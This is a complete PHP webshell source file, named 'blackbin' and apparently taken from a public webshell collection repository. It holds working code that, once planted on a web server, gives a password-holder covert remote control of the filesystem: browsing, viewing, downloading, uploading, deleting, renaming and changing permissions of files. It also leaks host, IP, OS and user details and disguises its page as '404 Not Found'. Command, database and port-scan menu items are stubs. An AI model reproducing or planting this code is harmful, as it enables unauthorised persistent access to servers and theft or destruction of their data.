webshell/php/blackbin/v1/code.php
tennc 3097d20015 add blackbin for php webshell
super php webshell
2014-03-20 14:26:07 +08:00

1033 lines
No EOL
34 KiB
PHP
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//<?php
run();
class project {
static protected function js(){
$js=<<<HTML
<script>
function sideOut(d, t) {
window.setTimeout(display, t);
function display() {
$("load").style.display = "none"
}
}
function ajax(arg, type) {
if ($("load")) {
$("load").style.display = "block";
$("load").innerHTML = "正在载入......"
}
if (type == 2 || arg == 2) {
$("load").innerHTML = "功能陆续完善中......";
sideOut($("load"), 1500);
return
}
if (type == 1) arg = 'action=show&dir=' + arg;
if (type == 3) {
if (confirm("确定删除当前文件么?")) arg = 'action=delete&file=' + arg;
else {
$("load").innerHTML = "操作已取消";
sideOut($("load"), 1500);
return
}
}
if (type == 4) {
window.location.href = '?action=download&file=' + arg;
sideOut($("load"), 500);
return
}
if (type == 5) {
var mk = prompt('请输入创建文件夹名称:', '');
if (!mk) {
$("load").innerHTML = "操作已取消";
sideOut($("load"), 1500);
return
}
arg = 'action=_mkdir&dir=' + mk
}
if (type == 6) {
$("upload").style.display = 'block';
$("close_file").onclick = function() {
$("upload").style.display = 'none';
$("load").innerHTML = "操作已取消";
sideOut($("load"), 1500);
return
}
$("_file").onclick = function() {
this.form.submit();
$("upload").style.display = 'none';
$("userfile").value = '';
return
}
return
}
action = arg ? arg: 'action=show';
var options = {};
options.url = '{self}';
options.listener = callback;
options.method = 'POST';
var request = XmlRequest(options);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(action)
}
function view(arg) {
action = 'action=view&file=' + arg;
var options = {};
options.url = '{self}';
options.listener = viewcallback;
options.method = 'POST';
var request = XmlRequest(options);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(action)
}
function edit() {
$("load").style.display = "block";
$("load").innerHTML = "确保编码一致,不在提供编辑功能.可以使用上传功能覆盖当前编辑文件!";
sideOut($("load"), 4000);
return
}
function fileperm(name, type) {
var newperm;
if (type == 3) newperm = prompt('需要输入完整路径(包含文件名):', '');
else newperm = prompt('请输入名称:', '');
if (!newperm) return;
if (type == 1) chmod(name, newperm);
if (type == 2) rename(name, newperm);
if (type == 3) copy(name, newperm)
}
function chmod(name, perm) {
action = 'action=chmod&file=' + name + '&perm=' + perm;
var options = {};
options.url = '{self}';
options.listener = callback;
options.method = 'POST';
var request = XmlRequest(options);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(action)
}
function rename(name, perm) {
action = 'action=rename&file=' + name + '&newname=' + perm;
var options = {};
options.url = '{self}';
options.listener = callback;
options.method = 'POST';
var request = XmlRequest(options);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(action)
}
function copy(name, perm) {
action = 'action=copyfile&file=' + name + '&copyfile=' + perm;
var options = {};
options.url = '{self}';
options.listener = callback;
options.method = 'POST';
var request = XmlRequest(options);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(action)
}
function XmlRequest(options) {
var req = false;
if (window.XMLHttpRequest) {
var req = new XMLHttpRequest()
} else if (window.ActiveXObject) {
var req = new window.ActiveXObject('Microsoft.XMLHTTP')
}
if (!req) return false;
req.onreadystatechange = function() {
if (req.readyState == 4 && req.status == 200) {
options.listener.call(req)
}
};
req.open(options.method, options.url, true);
return req
}
function viewcallback() {
var data = this.responseText;
if (data) {
$("open").style.display = "block";
$("show_file").focus();
$("show_file").innerHTML = data;
close();
$("show_file").onblur = function() {
$("open").style.display = "none"
}
} else {
$("load").style.display = "block";
$("load").innerHTML = "不支持预览此类型的文件,或者预览的文件大于1Mb!";
sideOut($("load"), 2000);
return
}
}
function callback() {
var json = eval("(" + this.responseText + ")");
if (json.status == 'off') {
document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$("login").style.display = "block"
}
}
}
if (json.status == 'close') {
document.body.innerHTML = json.data;
$("login").style.display = "block";
login()
}
if (json.status=='on'){
window.location.reload();
return;
}
if (json.status == 'ok') {
ajax();
document.body.innerHTML = json.data
}
if (json.pages == '') {
$("pages").style.display = "none"
}
if (json.pages) {
$("pages").style.display = "block";
$("pages").innerHTML = json.pages
}
if (json.node_data) $("show").innerHTML = json.node_data;
if (json.time) $("runtime").innerHTML = json.time;
if (json.listdir) $("listdir").innerHTML = json.listdir;
if (json.memory) $("memory").innerHTML = json.memory;
if (json.disktotal) $("disktotal").innerHTML = json.disktotal;
if ($("load")) {
$("load").style.display = "none"
}
if (json.error) {
$("load").style.display = "block";
$("load").innerHTML = json.error;
sideOut($("load"), 1500)
}
if (json.notice) {
$("load").style.display = "block";
$("load").innerHTML = json.notice;
sideOut($("load"), 1500);
}
}
function reload() {
var options = {};
options.url = '{self}';
options.listener = callback;
options.method = 'POST';
var request = XmlRequest(options);
request.setRequestHeader('AJAX', 'true');
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send('action=init')
}
function addEvent(obj, evt, fn) {
if (obj.addEventListener) {
obj.addEventListener(evt, fn, false)
} else if (obj.attachEvent) {
obj.attachEvent('on' + evt, fn)
}
}
function init() {
$();
login();
reload()
}
function close() {
$("close").onclick = function() {
$("open").style.display = "none"
}
}
function login() {
$("login_open").onclick = function() {
var pwd = $("pwd").value;
var options = {};
options.url = '{self}';
options.listener = callback;
options.method = 'POST';
var request = XmlRequest(options);
request.setRequestHeader('AJAX', 'true');
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
if (pwd) request.send('pwd=' + pwd)
}
}
function $(d) {
return document.getElementById(d)
}
addEvent(window, 'load', init);
</script>
HTML;
return str_replace('{self}',self,$js);
}
static protected function css(){
$css=<<<HTML
input{font:11px Verdana;BACKGROUND:#FFFFFF;height:18px;border:1px solid #666666;}a{color:#00f;text-decoration:underline;}a:hover{color:#f00;text-decoration:none;}body{font:12px Arial,Tahoma;line-height:16px;margin:0;padding:0;}#header{height:20px;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}#header .left{float:left;}#header .right{float:right;}#menu{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}#content{margin:0 auto;width:98%;}#content h2{margin-top:15px;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}#content #base,#content #base2{background:#eee;margin-bottom:10px;}#base input{float:right;border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;margin:5px 10px;}.cdrom{padding:5px;margin:auto 7px;}.h{margin-top:8px;}#base2 .input{font:12px Arial,Tahoma;background:#fff;border:1px solid #666;padding:2px;height:18px;}#base2 .bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}dl,dt,dd{margin:0;}.focus{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}.fff{background:#fff}dl{margin:0 auto;width:100%;}dt,dd{overflow:hidden;border-top:1px solid white;border-bottom:1px solid #DDD;background:#F1F1F1;padding:5px 15px 5px 5px;}dt{border-top:1px solid white;border-bottom:1px solid #DDD;background:#E9E9E9;font-weight:bold;padding:5px 15px 5px 5px;}dt span,dd span{width:19%;display:inline-block;text-indent:0em;overflow:hidden;}#footer{padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;}#load{position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display:none;}.in{width:40px;text-align:center;}#pages{display:none;}.high{background-color:#0449BE;color:white;margin:0 2px;padding:2px 3px;width:10px;}.high2{margin:0 2px;padding:2px 0px;width:10px;}#login{display:none;}#show_file{color:#000;height:400px;width:800px;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;background:#fff;overflow:auto;}#open,#upload{display:none;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;}#close{color:#fff;height:16px;width:30px;position:absolute;right:0;background:#000;z-index:1;}#upfile{width:628px;height:108px;padding:10px 20px;background-color:white;position:fixed;top:45%;left:50%;margin-top:-54px;margin-left:-314px;}
HTML;
return $css;
}
static function init() {
self::authentication();
}
function show($msg=''){
self::G('runtime');
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
header("Content-type:text/html;charset=utf-8");
$url=isset($_COOKIE['PATH']) ? $_COOKIE['PATH'] : self::convert_to_utf8(sprintf("%s%s",rtrim(__ROOT__,"/"),"/"),'utf8');
$file = !empty($_POST["dir"]) ? urldecode(self::convert_to_utf8(rtrim($_POST["dir"],'/'),'utf8')) ."/" : $url ;
if (!is_readable($file)) return false;
setcookie("PATH",$file,time()+3600);
clearstatcache();
if(function_exists("scandir")){
$array=scandir($file);
}
elseif(function_exists("glob")){
foreach(glob($file.'*') as $ff){
$array[]=basename($ff);
}
}
/********分页开始*********/
$total_nums=count($array);
$page_nums=50;
$nums= $total_nums>$page_nums ? ceil($total_nums/$page_nums) : 1;
if ($nums>1){
$page=intval($_POST['page']) ? intval($_POST['page']) : 1;
if ($page>$nums || $page<1) $page=1;
if($page==1){$for_start=0; $for_page=$page*$page_nums-1;}
else {$for_page=$page*$page_nums-1 > $total_nums ? $total_nums : $page*$page_nums-1;
$for_start=$page*$page_nums-1 > $total_nums ? ($page-1)*$page_nums-2 : $for_page-$page_nums-1 ; }
}
if($nums==1){
$for_start=0;
$for_page=$total_nums;
}
for($i=$for_start;$i<$for_page;++$i){
if($array[$i]=='.'||$array[$i]=='..') continue;
if (is_dir($file.$array[$i])) $dir[] = $array[$i];
elseif(is_file($file.$array[$i])) $files[] = $array[$i];
}
$next = $page+1<=$nums ? $page+1 : $nums;
$previous = $page-1>1 ? $page-1 : 1;
if($nums>10){
if($page>5){
if($nums-$page>=5){
$ipage=$page-4;
$_nums=$page+5;
}else{
$ipage=$nums-9;
$_nums=$nums;
}
}else{
$ipage=1;$_nums=10;
}
}else{
$ipage=1;
$_nums=$nums;
}
for($i=$ipage;$i<=$_nums;++$i){
if($i==$page)
$_page.=sprintf('<a class="high" href="javascript:;;;" name="action=show&dir=%s&page=%s" onclick="ajax(this.name)">%s</a> ',urlencode(self::convert_to_utf8($file)),$i,$i);
else $_page.=sprintf('<a href="javascript:;;;" name="action=show&dir=%s&page=%s" onclick="ajax(this.name)">%s</a> ',urlencode(self::convert_to_utf8($file)),$i,$i);
}
/*****************
分页结束
******************/
if (!isset($dir)) $dir = array();
if (!isset($files)) $files = array();
$_ipage_file=urlencode(rtrim(self::convert_to_utf8($file),'/')); //bug修复
$_pages=<<<HTML
<dl>
<dd>
<span class="in"> </span>
<span></span>
<span></span>
<span></span>
<span style="text-align:right;width:38%">
<a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=1" onclick="ajax(this.name)">Index</a>
<a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$previous" onclick="ajax(this.name)">Previous</a>
{pages}
<a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$next" onclick="ajax(this.name)">Next</a>
<a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$nums" onclick="ajax(this.name)">End</a>
</dd>
</dl>
HTML;
$return=<<<HTML
<!-- return -->
<dl>
<dt>
<span class="in"> </span>
<span>文件名</span>
<span>修改时间</span>
<span>文件大小</span>
<span>权限</span>
<span>操作</span>
</dt>
<dd >
<span class="in">
-
</span>
<span>
<a href="javascript:;;;" name="{back}" onclick="ajax(this.name,1)">返回上一目录</a>
</span>
<span></span>
<span></span>
<span></span>
<span></span>
</dd>
{file}
</dl>
HTML;
$return_file=<<<HTML
<!-- file -->
<dd class="{className}" onmouseover="this.className='focus';" onmouseout="this.className='{className}';">
<span class="in">
<input name="{return_link}" type="checkbox" onclick="ajax(this.name,3)">
</span>
<span>
<a href="javascript:;;;" name="{return_link}" onclick="{return_onclick}">{return_file}</a>
</span>
<span>
<a href="javascript:;;;" name="{return_link}" onclick="ajax(this.name,2)">{return_time}</a>
</span>
<span>{return_size}</span>
<span>
<a href="javascript:;;;" name="{return_link}" onclick="fileperm(this.name,1)">{return_chmod}</a> /
<a href="javascript:;;;" name="{return_link}">{return_perms}</a>
</span>
<span>
{is_folder}
</span>
</dd>
HTML;
$document=array_merge($dir,$files);
foreach($document as $i=>$gbk){
$utf8=self::convert_to_utf8($gbk);
$utf8_file=self::convert_to_utf8($file);
$className= $i % 2 ? "dd" : "fff";
if(is_dir($file.$gbk)){
$return_onclick="ajax(this.name,1)";
$return_folder=sprintf('
<a href="javascript:;;;" name="%s" onclick="fileperm(this.name,2)">重命名</a>',
urlencode($utf8_file.$utf8));
}
if(is_file($file.$gbk)){
$return_onclick="view(this.name)";
$return_folder=sprintf('
<a href="javascript:;;;" name="%s" onclick="ajax(this.name,4)">下载</a> |
<a href="javascript:;;;" name="%s" onclick="fileperm(this.name,3)">复制</a> |
<a href="javascript:;;;" name="%s" onclick="edit()">编辑</a> |
<a href="javascript:;;;" name="%s" onclick="fileperm(this.name,2)">重命名</a>',
urlencode($utf8_file.$utf8),
urlencode($utf8_file.$utf8),
urlencode($utf8_file.$utf8),
urlencode($utf8_file.$utf8));
}
$search=array('{className}',
'{return_file}',
'{return_time}',
'{return_size}',
'{return_chmod}',
'{return_perms}',
'{return_link}',
'{return_onclick}',
'{is_folder}',
);
$replace=array($className,
$utf8,
self::perms($file.$gbk,3),
self::perms($file.$gbk,4),
self::perms($file.$gbk,1),
self::perms($file.$gbk,2),
urlencode($utf8_file.$utf8),
$return_onclick,
$return_folder,
);
$directory['html'].=str_replace($search,$replace,$return_file);
}
$directory['node_data']=str_replace(array('{file}','{back}'),
array($directory['html'],
urlencode(str_replace('\\\\','/',dirname(self::convert_to_utf8($file))))
),
$return);
$pages=str_replace('{pages}',$_page,$_pages);
$directory['pages']=$nums>1 ? $pages : '';
unset($directory['html'],$_pages);
$directory['folder']=count($dir);
$directory['file']=count($files);
$directory['time']=self::G('runtime','end');
$directory['listdir']=self::uppath($file);
$directory['memory']=self::byte_format(memory_get_peak_usage());
$directory['disktotal']=self::byte_format(disk_total_space($file));
if(true==$msg) $directory['error']=$msg;
unset($dir,$files);
if(!ob_start("ob_gzhandler")) ob_start();
clearstatcache();
echo json_encode($directory);
// print_r(array_unique($directory));
ob_end_flush();
unset($directory);
exit;
}
function view(){
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
header("Content-type:text/html;charset=UTF-8");
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
ob_start();
$path=pathinfo($file);
//$path['extension'] = is_null($path['extension']) ? null :$path['extension'];
if(filesize($file)>1024*1024) {
exit;
}
if(in_array(strtolower($path['extension']),array('exe',
'dat',
'mp3',
'rmvb',
'jpg',
'png',
'gif',
'swf',
'gz',
'bz2',
'tar',
'sys',
'dll',
'so',
'bin',
'pdf',
'chm',
'doc',
'xls',
'wps',
'ogg',
'mp4',
'flv',
'ppt',
'zip',
'iso',
'msi'
))) exit;
$c=self::convert_to_utf8(file_get_contents($file));
if(!ob_start("ob_gzhandler")) ob_start();
//highlight_string($c);
clearstatcache();
$c=htmlspecialchars($c);
echo "<code><pre>$c<pre></code>";
ob_end_flush();
exit;
}
function _mkdir(){
if($_POST['dir']){
$mkdir=$_COOKIE['PATH'].self::convert_to_utf8($_POST['dir'],'utf8');
if(true==@mkdir($mkdir,0777)){
$_POST['dir']=$_COOKIE['PATH'];
self::show('文件夹创建成功');
}
else die('{"error":"文件夹创建失败"}');
}
}
function chmod(){
if($_POST['file']&&$_POST['perm']){
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
$perm=base_convert($_POST['perm'], 8, 10);
if(true==@chmod($file,$perm)){
$_POST['dir']=$_COOKIE['PATH'];
self::show('权限修改成功');
}
else die('{"error":"文件修改失败"}');
}
}
function rename(){
if($_POST['file']&&$_POST['newname']){
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
$newname=$_COOKIE['PATH'].self::convert_to_utf8($_POST['newname'],'utf8');
if(true==@rename($file,$newname)){
$_POST['dir']=$_COOKIE['PATH'];
self::show('文件重命名成功');
}
else die('{"error":"文件修改失败"}');
}
}
function upload(){
$file=$_COOKIE['PATH'].basename($_FILES['userfile']['name']);
if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_to_utf8($file,'utf8'))){
exit('<script>
parent.ajax();
parent.$("load").style.display = "block";
parent.$("load").innerHTML = "上传成功";
</script>');
}
else{
exit('<script>
parent.$("load").style.display = "block";
parent.$("load").innerHTML = "上传失败";
parent.sideOut(parent.$("load"),1500);
</script>');
}
}
function copyfile(){
if($_POST['file']&&$_POST['copyfile']){
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
$newname=self::convert_to_utf8($_POST['copyfile'],'utf8');
if(true==@copy($file,$newname)){
die('{"error":"文件拷贝成功"}');
}
else die('{"error":"文件拷贝失败"}');
}
}
function delete(){
$file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
if(is_file($file)){
if(true==@unlink($file)) {
$_POST['dir']=$_COOKIE['PATH'];
self::show('文件删除成功');
}
else die('{"error":"文件删除失败"}');
}
if(is_dir($file)){
if(true==@rmdir($file)) {
$_POST['dir']=$_COOKIE['PATH'];
self::show('文件夹删除成功');
}
else die('{"error":"文件夹删除失败"}');
}
}
function download(){
$filename = urldecode(self::convert_to_utf8($_GET["file"],'utf8'));
if (file_exists($filename)) {
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
header("Content-Disposition: attachment; filename=".basename($filename));
header("Content-Length: ".filesize($filename));
header("Content-Type: application/force-download");
header('Content-Description: File Transfer');
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
@readfile($filename);
exit();
}
}
static protected function uppath($path){
$return='';
$path=self::convert_to_utf8(rtrim($path,'/'));
if(strpos($path,"/")==0) return sprintf('<a href="javascript:;;;" name="%s" onclick="ajax(this.name,1)">%s</a>',$path,ucfirst($path));
else {
$array=explode("/",$path);
foreach($array as $i => $value){
if($i==0) $path=$value;
if($i>0) $path.=sprintf('/%s',$array[$i]);
$return.= sprintf('<a href="javascript:;;;" name="%s" onclick="ajax(this.name,1)">%s</a> ',$path,ucfirst($value));
}
return $return;
}
}
static protected function perms($file, $type = '1') {
if ($type == 1) {
return substr(sprintf('%o', fileperms($file)), -4);
}
if ($type == 2) {
return self::getperms($file);
}
if ($type == 3) {
return date('Y-m-d h:i:s', filemtime($file));
}
if ($type == 4) {
return is_dir($file) ? 'directory' : self::byte_format(sprintf("%u",
filesize($file)));
}
}
static protected function headers() {
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
$eof = <<< HTML
<div id="load">
</div>
<div id="upload">
<div id="upfile">
<p></p><p></p><p><a href="javascript:;;;" id="close_file">点我关闭</a></p>
<form action="" id="form1" name="form1" encType="multipart/form-data" method="post" target="hidden_frame">
<input name="action" value="upload" type="hidden" />
<input type="file" id="userfile" name="userfile">
<INPUT id="_file" type="button" value="上传文件">
<iframe name='hidden_frame' id="hidden_frame" style='display:none'></iframe>
</form>
</div>
</div>
<div id="open">
<div style="position:relative;">
<div id="close">关闭</div>
</div>
<div id="show_file">
</div>
</div>
<div id="header">
<div class="left">
{host}({ip})
</div>
<div class="right">
OS:{uname} {software} php {php_version}
</div>
</div>
<div id="menu">
{menu}
</div>
<div id="content">
<h2>文件管理 - 当前磁盘空间 <span id="disktotal"></span> 运行用户:{whoami}</h2>
<div id="base">
<div class="cdrom">
<span id="listdir"></span>
</div>
<div class="cdrom">
{cdrom}
</div>
</div>
<div class="h"></div>
<div id="base2">
<div class="cdrom">
{action}
</div>
<div class="cdrom">
查找文件(当前路径): <input class="input" name="findstr" value="" type="text" /> <input class="bt" value="查找" type="submit" />
</div>
</div>
<!-- return -->
<div id="show">
</div>
<div id="pages">
</div>
<!-- end -->
</div>
<div class="h"></div>
<div id="footer">
<span style="float:right;">
Processed in <span id="runtime"></span> second(s) {gzip} usage:<span id="memory">{memory}</span>
</span>
Powered by {copyright}
. Copyright (C) 2010-2012
All Rights Reserved.
</div>
HTML;
$actions[]=array('name'=>'网站目录',
'url'=>urlencode($_SERVER['DOCUMENT_ROOT']),
'type'=>1
);
$actions[]=array('name'=>'文件目录',
'url'=>urlencode(str_replace(array('\\\\'),array('/'),dirname(__FILE__))),
'type'=>1
);
$actions[]=array('name'=>'创建文件夹',
'url'=>'null',
'type'=>'5'
);
$actions[]=array('name'=>'创建文件',
'url'=>'2',
'type'=>'2'
);
$actions[]=array('name'=>'上传文件',
'url'=>'null',
'type'=>'6'
);
$menus[]=array('name'=>'退出',
'url'=>'action=logout',
'type'=>'null'
);
$menus[]=array('name'=>'文件管理',
'url'=>urlencode(str_replace(array('\\\\'),array('/'),dirname(__FILE__))),
'type'=>1
);
$menus[]=array('name'=>'数据库操作',
'url'=>'2',
'type'=>'2'
);
$menus[]=array('name'=>'运行命令',
'url'=>'2',
'type'=>'2'
);
$menus[]=array('name'=>'PHP相关',
'url'=>'2',
'type'=>'2'
);
$menus[]=array('name'=>'端口扫描',
'url'=>'2',
'type'=>'2'
);
$menus[]=array('name'=>'PHP命令',
'url'=>'2',
'type'=>'2'
);
foreach ($menus as $key => $value) {
$menu .= sprintf('<a href="javascript:;;;" name="%s" onclick=ajax(this.name,%s)>%s</a> | ',
$value['url'],$value['type'],$value['name']);
}
foreach ($actions as $key => $value) {
$action .= sprintf('<a href="javascript:;;;" name="%s" onclick=ajax(this.name,%s)>%s</a> | ',
$value['url'],$value['type'],$value['name']);
}
$serach = array(
'{title}',
'{host}',
'{ip}',
'{uname}',
'{software}',
'{php_version}',
'{menu}',
'{copyright}',
'{cdrom}',
'{action}',
'{gzip}',
'{memory}',
'{js}',
'{css}',
'{whoami}');
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$replace = array(
title,
$_SERVER['HTTP_HOST'],
$_SERVER['SERVER_ADDR'],
php_uname('s'),
$_SERVER["SERVER_SOFTWARE"],
PHP_VERSION,
trim($menu, '| '),
copyright,
self::disk(),
trim($action, '| '),
gzip,
self::byte_format(memory_get_peak_usage()),
self::js(),
self::css(),
$uid . ' ( ' . $user . ' ) / Group: ' . $gid . ' ( ' . $group . ' )');
$eof = str_replace($serach, $replace, $eof);
$json['status']='ok';
$json['data']=$eof;
if(!ob_start("ob_gzhandler")) ob_start();
echo json_encode($json);
ob_end_flush();
exit;
}
static protected function disk() {
if (is_win) {
$cdrom = range('A', 'Z');
foreach ($cdrom as $disk) {
$disk = sprintf("%s%s", $disk, ':');
if (is_readable($disk)) {
$return .= sprintf('<a href="javascript:;;;" name="%s" onclick="ajax(this.name,1)">DISK %s</a> | ',
$disk, $disk);
}
}
return trim($return, "| ");
}
else {
if(function_exists("scandir")){
$cdrom = scandir('/');
}elseif(function_exists("glob")){
foreach(glob('/*') as $ff){
$cdrom[]=basename($ff);
}
}
foreach ($cdrom as $disk) {
if ($disk == '.' || $disk == '..') continue;
$disk = sprintf("%s%s", '/', $disk);
if (is_readable($disk)) {
if (is_dir($disk)) $return .= sprintf('<a href="javascript:;;;" name="%s" onclick="ajax(this.name,1)">%s</a> | ',
urlencode($disk), str_replace('/', '', $disk));
}
}
return trim($return, "| ");
}
}
static protected function G($start, $end = '', $dec = 6) {
static $_info = array();
if (is_float($end)) { // 记录时间
$_info[$start] = $end;
}
elseif (!empty($end)) { // 统计时间
if (!isset($_info[$end])) $_info[$end] = microtime(true);
return number_format(($_info[$end] - $_info[$start]), $dec);
}
else { // 记录时间
$_info[$start] = microtime(true);
}
}
static protected function authentication() {
if (true == password) {
//if(!empty($_POST['pwd']) && !preg_match('/^[a-z0-9]+$/',$_POST['pwd'])) exit;
if(!empty($_POST['pwd']) && strlen(password) == 32) $password = hash(crypt, $_POST['pwd']);
else $password = $_POST['pwd'];
if((true == $password) && $password !==password) die('{"error":"密码错误!"}');
if((true == $password) && $password == password) {
setcookie('verify', $password, time() + 3600*24*30);
self::headers();
exit;
}
if (!isset($_COOKIE['verify']) || empty($_COOKIE['verify']) || (string )$_COOKIE['verify']
!== password) {
if($_SERVER['HTTP_AJAX']=='true') die('{"status":"off"}');
self::login();
exit;
}
}
if($_SERVER['HTTP_AJAX']=='true') self::headers();
}
public function logout() {
setcookie('key', '', time() - 3600*24*30);
unset($_COOKIE['key']);
session_start();
session_destroy();
$login=<<<LOGIN
<div id="load">
</div>
<div class="h"></div>
<div id="login">
<span style="font:11px Verdana;">
Password:
</span>
<input id="pwd" name="pwd" type="password" size="20">
<input id="login_open" type="button" value="Login">
</div>
LOGIN;
$json['status']='close';
$json['data']=$login;
die(json_encode($json));
}
static function login() {
$login=<<<LOGIN
<!DOCTYPE HTML>
<head>
<meta http-equiv="content-type" content="text/html" />
<meta http-equiv="content-type" charset="UTF-8" />
<title>{title}</title>
{css}
{js}
</head>
<body>
<div id="load">
</div>
<div class="h"></div>
<div id="login">
<span style="font:11px Verdana;">
Password:
</span>
<input id="pwd" name="pwd" type="password" size="20">
<input id="login_open" type="button" value="Login">
</div>
</body>
</html>
LOGIN;
$search=array('{css}',
'{title}',
'{js}');
$replace=array(self::css(),
title,
self::js());
echo str_replace($search,$replace,$login);
}
static protected function getperms($path) {
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
}
elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
}
elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
}
elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
}
elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
}
elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
}
elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
}
else {
$info = '?????????';
return $info;
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms &
0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms &
0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms &
0x0200) ? 'T' : '-'));
return $info;
}
static protected function byte_format($size, $dec = 2) {
$a = array(
"B",
"KB",
"MB",
"GB",
"TB",
"PB");
$pos = 0;
while ($size >= 1024) {
$size /= 1024;
$pos++;
}
return round($size, $dec) . "" . $a[$pos];
}
static protected function convert_to_utf8($str,$type='gbk'){
if(function_exists('iconv')){
if($type=='gbk'){
if(false==@iconv("GBK","UTF-8",$str)){
return $str;
}else{
return @iconv("GBK","UTF-8",$str);
}
}
if($type=='utf8'){
if(false==@iconv("UTF-8","GBK",$str)){
return $str;
}else{
return @iconv("UTF-8","GBK",$str);
}
}
}else{
return $str;
}
}
}
function run(){
set_time_limit(0);
ini_set('memory_limit',-1);
if(!defined('password')) define('password','');
if(!defined('title')) define('title','404 Not Found');
if(!defined('copyright')) define('copyright', 'E');
define('self',$_SERVER["SCRIPT_NAME"]);
define('crypt', 'ripemd128');
define('__ROOT__', $_SERVER["DOCUMENT_ROOT"]);
define('is_win','win' == substr(strtolower(PHP_OS),0,3));
date_default_timezone_set('asia/shanghai');
define('gzip',function_exists("ob_gzhandler") ? 'gzip on' : 'gzip off');
extract($_POST);
extract($_GET);
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
project::init();
$action=!empty($action) ? strtolower(rtrim($action,'/')) : 'login';
if (!is_callable(array('project', $action))) return false;
if (!method_exists('project', $action)) return false;
call_user_func(array('project', $action));
}
//?>